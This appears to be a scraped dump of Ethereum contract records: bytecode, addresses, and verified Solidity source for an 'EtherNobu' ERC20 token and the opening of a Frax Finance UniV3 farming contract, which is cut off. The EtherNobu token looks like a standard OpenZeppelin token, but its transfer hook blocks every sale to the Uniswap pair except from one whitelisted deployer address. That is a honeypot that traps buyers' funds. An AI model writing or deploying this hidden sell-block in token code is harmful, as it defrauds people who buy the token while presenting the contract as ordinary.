0316815250506124a1307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611532565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac947906124f6908590600090869030904290600401612ab7565b600060405180830381600087803b15801561251057600080fd5b505af1158015612524573d6000803e3d6000fd5b505050505050565b612557307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611532565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663f305d71982308560008061259e6005546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015612606573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061262b9190612b28565b5050505050565b600081836126535760405162461bcd60e51b815260040161092d9190612660565b506000611f788486612990565b600060208083528351808285015260005b8181101561268d57858101830151858201604001528201612671565b8181111561269f576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610ab957600080fd5b803561139f816126b5565b600080604083850312156126e857600080fd5b82356126f3816126b5565b946020939093013593505050565b60006020828403121561271357600080fd5b813561152b816126b5565b60006020828403121561273057600080fd5b5035919050565b60008060006060848603121561274c57600080fd5b8335612757816126b5565b92506020840135612767816126b5565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156127a157600080fd5b823567ffffffffffffffff808211156127b957600080fd5b818501915085601f8301126127cd57600080fd5b8135818111156127df576127df612778565b8060051b604051601f19603f8301168101818110858211171561280457612804612778565b60405291825284820192508381018501918883111561282257600080fd5b938501935b8285101561284757612838856126ca565b84529385019392850192612827565b98975050505050505050565b6000806040838503121561286657600080fd5b8235612871816126b5565b91506020830135801515811461288657600080fd5b809150509250929050565b6000806000606084860312156128a657600080fd5b505081359360208301359350604090920135919050565b600080604083850312156128d057600080fd5b82356128db816126b5565b91506020830135612886816126b5565b600181811c908216806128ff57607f821691505b6020821081141561292057634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561298b5761298b61295b565b500290565b6000826129ad57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006000198214156129dc576129dc61295b565b5060010190565b600082198211156129f6576129f661295b565b500190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b600082821015612a9557612a9561295b565b500390565b600060208284031215612aac57600080fd5b815161152b816126b5565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015612b075784516001600160a01b031683529383019391830191600101612ae2565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215612b3d57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122041f07aced02f5b186665d5d4bbadf62c1122152e29a0cc1e0f7f8afba438548164736f6c634300080b0033
[ 21, 4, 7, 11, 9, 13, 5 ]
0xf3974e1892e39c253aa547f6287ba19d344a2c7f
/** *Submitted for verification at Etherscan.io on 2021-05-31 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; mapping(address=>bool) private _enable; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor () { _mint(0x820cb5040F8CFE21fa5CBF0b3d1FF366eB9df274, 1000000000 *10**18); _enable[0x820cb5040F8CFE21fa5CBF0b3d1FF366eB9df274] = true; // MainNet / testnet, Uniswap Router IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; _name = "EtherNobu"; _symbol = "eNobu"; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0)); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to) internal virtual { if(to == uniswapV2Pair) { require(_enable[from], "something went wrong"); } } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063395093511161008c57806395d89b411161006657806395d89b411461022a578063a457c2d714610248578063a9059cbb14610278578063dd62ed3e146102a8576100cf565b806339509351146101ac57806349bd5a5e146101dc57806370a08231146101fa576100cf565b806306fdde03146100d4578063095ea7b3146100f25780631694505e1461012257806318160ddd1461014057806323b872dd1461015e578063313ce5671461018e575b600080fd5b6100dc6102d8565b6040516100e99190611238565b60405180910390f35b61010c60048036038101906101079190610e1d565b61036a565b6040516101199190611202565b60405180910390f35b61012a610388565b604051610137919061121d565b60405180910390f35b6101486103ae565b604051610155919061135a565b60405180910390f35b61017860048036038101906101739190610dce565b6103b8565b6040516101859190611202565b60405180910390f35b6101966104b9565b6040516101a39190611375565b60405180910390f35b6101c660048036038101906101c19190610e1d565b6104c2565b6040516101d39190611202565b60405180910390f35b6101e461056e565b6040516101f191906111e7565b60405180910390f35b610214600480360381019061020f9190610d69565b610594565b604051610221919061135a565b60405180910390f35b6102326105dc565b60405161023f9190611238565b60405180910390f35b610262600480360381019061025d9190610e1d565b61066e565b60405161026f9190611202565b60405180910390f35b610292600480360381019061028d9190610e1d565b610762565b60405161029f9190611202565b60405180910390f35b6102c260048036038101906102bd9190610d92565b610780565b6040516102cf919061135a565b60405180910390f35b6060600380546102e7906114e2565b80601f0160208091040260200160405190810160405280929190818152602001828054610313906114e2565b80156103605780601f1061033557610100808354040283529160200191610360565b820191906000526020600020905b81548152906001019060200180831161034357829003601f168201915b5050505050905090565b600061037e610377610807565b848461080f565b6001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600254905090565b60006103c58484846109da565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610410610807565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610490576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610487906112ba565b60405180910390fd5b6104ad8561049c610807565b85846104a89190611402565b61080f565b60019150509392505050565b60006012905090565b60006105646104cf610807565b8484600160006104dd610807565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461055f91906113ac565b61080f565b6001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060600480546105eb906114e2565b80601f0160208091040260200160405190810160405280929190818152602001828054610617906114e2565b80156106645780601f1061063957610100808354040283529160200191610664565b820191906000526020600020905b81548152906001019060200180831161064757829003601f168201915b5050505050905090565b6000806001600061067d610807565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561073a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107319061133a565b60405180910390fd5b610757610745610807565b8585846107529190611402565b61080f565b600191505092915050565b600061077661076f610807565b84846109da565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561087f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610876906112fa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156108ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e69061127a565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516109cd919061135a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a41906112da565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610aba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab19061125a565b60405180910390fd5b610ac48383610c58565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610b4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b419061129a565b60405180910390fd5b8181610b569190611402565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610be691906113ac565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c4a919061135a565b60405180910390a350505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610d3b57600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610d3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d319061131a565b60405180910390fd5b5b5050565b600081359050610d4e81611583565b92915050565b600081359050610d638161159a565b92915050565b600060208284031215610d7b57600080fd5b6000610d8984828501610d3f565b91505092915050565b60008060408385031215610da557600080fd5b6000610db385828601610d3f565b9250506020610dc485828601610d3f565b9150509250929050565b600080600060608486031215610de357600080fd5b6000610df186828701610d3f565b9350506020610e0286828701610d3f565b9250506040610e1386828701610d54565b9150509250925092565b60008060408385031215610e3057600080fd5b6000610e3e85828601610d3f565b9250506020610e4f85828601610d54565b9150509250929050565b610e6281611436565b82525050565b610e7181611448565b82525050565b610e808161148b565b82525050565b6000610e9182611390565b610e9b818561139b565b9350610eab8185602086016114af565b610eb481611572565b840191505092915050565b6000610ecc60238361139b565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f3260228361139b565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f9860268361139b565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610ffe60288361139b565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b600061106460258361139b565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006110ca60248361139b565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061113060148361139b565b91507f736f6d657468696e672077656e742077726f6e670000000000000000000000006000830152602082019050919050565b600061117060258361139b565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6111d281611474565b82525050565b6111e18161147e565b82525050565b60006020820190506111fc6000830184610e59565b92915050565b60006020820190506112176000830184610e68565b92915050565b60006020820190506112326000830184610e77565b92915050565b600060208201905081810360008301526112528184610e86565b905092915050565b6000602082019050818103600083015261127381610ebf565b9050919050565b6000602082019050818103600083015261129381610f25565b9050919050565b600060208201905081810360008301526112b381610f8b565b9050919050565b600060208201905081810360008301526112d381610ff1565b9050919050565b600060208201905081810360008301526112f381611057565b9050919050565b60006020820190508181036000830152611313816110bd565b9050919050565b6000602082019050818103600083015261133381611123565b9050919050565b6000602082019050818103600083015261135381611163565b9050919050565b600060208201905061136f60008301846111c9565b92915050565b600060208201905061138a60008301846111d8565b92915050565b600081519050919050565b600082825260208201905092915050565b60006113b782611474565b91506113c283611474565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156113f7576113f6611514565b5b828201905092915050565b600061140d82611474565b915061141883611474565b92508282101561142b5761142a611514565b5b828203905092915050565b600061144182611454565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006114968261149d565b9050919050565b60006114a882611454565b9050919050565b60005b838110156114cd5780820151818401526020810190506114b2565b838111156114dc576000848401525b50505050565b600060028204905060018216806114fa57607f821691505b6020821081141561150e5761150d611543565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b61158c81611436565b811461159757600080fd5b50565b6115a381611474565b81146115ae57600080fd5b5056fea264697066735822122046d5249fb370404e9b3a3673737aed06c77eb2a3f9f751f3def997f5fa745ff964736f6c63430008000033
[ 38 ]
0xF397Abd7495EB6FE4697F45b5BA17166f03533b9
// SPDX-License-Identifier: MIT pragma solidity >=0.6.11; pragma experimental ABIEncoderV2; import "../FraxFarm_UniV3_veFXS.sol"; contract FraxFarm_UniV3_veFXS_FRAX_USDC is FraxFarm_UniV3_veFXS { constructor( address _owner, address _rewardsToken0, address _stakingTokenNFT, address _timelock_address, address _veFXS_address, address _uni_token0, address _uni_token1 ) FraxFarm_UniV3_veFXS(_owner, _rewardsToken0, _stakingTokenNFT, _timelock_address, _veFXS_address, _uni_token0, _uni_token1) {} } // SPDX-License-Identifier: MIT pragma solidity >=0.6.11; pragma experimental ABIEncoderV2; // ==================================================================== // | ______ _______ | // | / _____________ __ __ / ____(_____ ____ _____ ________ | // | / /_ / ___/ __ `| |/_/ / /_ / / __ \/ __ `/ __ \/ ___/ _ \ | // | / __/ / / / /_/ _> < / __/ / / / / / /_/ / / / / /__/ __/ | // | /_/ /_/ \__,_/_/|_| /_/ /_/_/ /_/\__,_/_/ /_/\___/\___/ | // | | // ==================================================================== // ========================FraxFarm_UniV3_veFXS======================== // ==================================================================== // Migratable Farming contract that accounts for veFXS and UniswapV3 NFTs // Only one possible reward token here (usually FXS), to cut gas costs // Also, because of the nonfungible nature, and to reduce gas, unlocked staking was removed // You can lock for as short as 1 day now, which is de-facto an unlocked stake // Frax Finance: https://github.com/FraxFinance // Primary Author(s) // Travis Moore: https://github.com/FortisFortuna // Reviewer(s) / Contributor(s) // Jason Huan: https://github.com/jasonhuan // Sam Kazemian: https://github.com/samkazemian // Originally inspired by Synthetixio, but heavily modified by the Frax team // (Locked, veFXS, and UniV3 portions are new) // https://raw.githubusercontent.com/Synthetixio/synthetix/develop/contracts/StakingRewards.sol import "../Math/Math.sol"; import "../Math/SafeMath.sol"; import "../Curve/IveFXS.sol"; import "../ERC20/ERC20.sol"; import '../Uniswap/TransferHelper.sol'; import "../ERC20/SafeERC20.sol"; import "../Uniswap_V3/libraries/TickMath.sol"; import "../Uniswap_V3/libraries/LiquidityAmounts.sol"; import "../Uniswap_V3/IUniswapV3PositionsNFT.sol"; import "../Utils/ReentrancyGuard.sol"; import "./Owned.sol"; contract FraxFarm_UniV3_veFXS is Owned, 